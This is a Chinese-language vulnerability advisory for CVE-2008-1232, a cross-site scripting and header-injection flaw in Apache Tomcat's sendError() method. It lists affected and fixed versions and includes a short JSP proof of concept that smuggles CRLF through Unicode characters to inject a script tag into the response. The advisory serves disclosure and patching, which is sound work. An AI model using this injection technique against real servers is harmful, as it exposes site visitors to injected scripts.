安全研究

安全漏洞
Apache Tomcat HttpServletResponse.sendError()跨站脚本漏洞

发布日期:2008-08-01
更新日期:2008-08-04

受影响系统:
Apache Group Tomcat 6.0.x
Apache Group Tomcat 5.5.x
Apache Group Tomcat 4.1.x
不受影响系统:
Apache Group Tomcat 6.0.18
Apache Group Tomcat 5.5.27
Apache Group Tomcat 4.1.38
描述:
BUGTRAQ  ID: 30496
CVE(CAN) ID: CVE-2008-1232

Apache Tomcat是一个流行的开放源码的JSP应用服务器程序。

Apache Tomcat不仅在错误页面中显示了HttpServletResponse.sendError()调用的消息参数,同时也在HTTP响应的reason-phrase中使用,这就可能在HTTP头中包含非法字符。特制的消息可能导致跨站脚本攻击,向HTTP响应中注入任意内容。

<*来源:Konstantin Kolinko
  
  链接:http://marc.info/?l=bugtraq&m=121760341603040&w=2
        http://secunia.com/advisories/31379/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<%@page contentType="text/html"%>
<%
~  // some unicode characters, that result in CRLF being printed
~  final String CRLF = "\u010D\u010A";

~  final String payload = CRLF + CRLF + "<script
type='text/javascript'>document.write('Hi, there!')</script><div
style='display:none'>";
~  final String message = "Authorization is required to access " + payload;
~  response.sendError(403, message);
%>

建议:
厂商补丁:

Apache Group
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://mirror.atlanticmetro.net/apache/tomcat/tomcat-6/v6.0.18/bin/apache-tomcat-6.0.18.tar.gz

浏览次数:4774
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障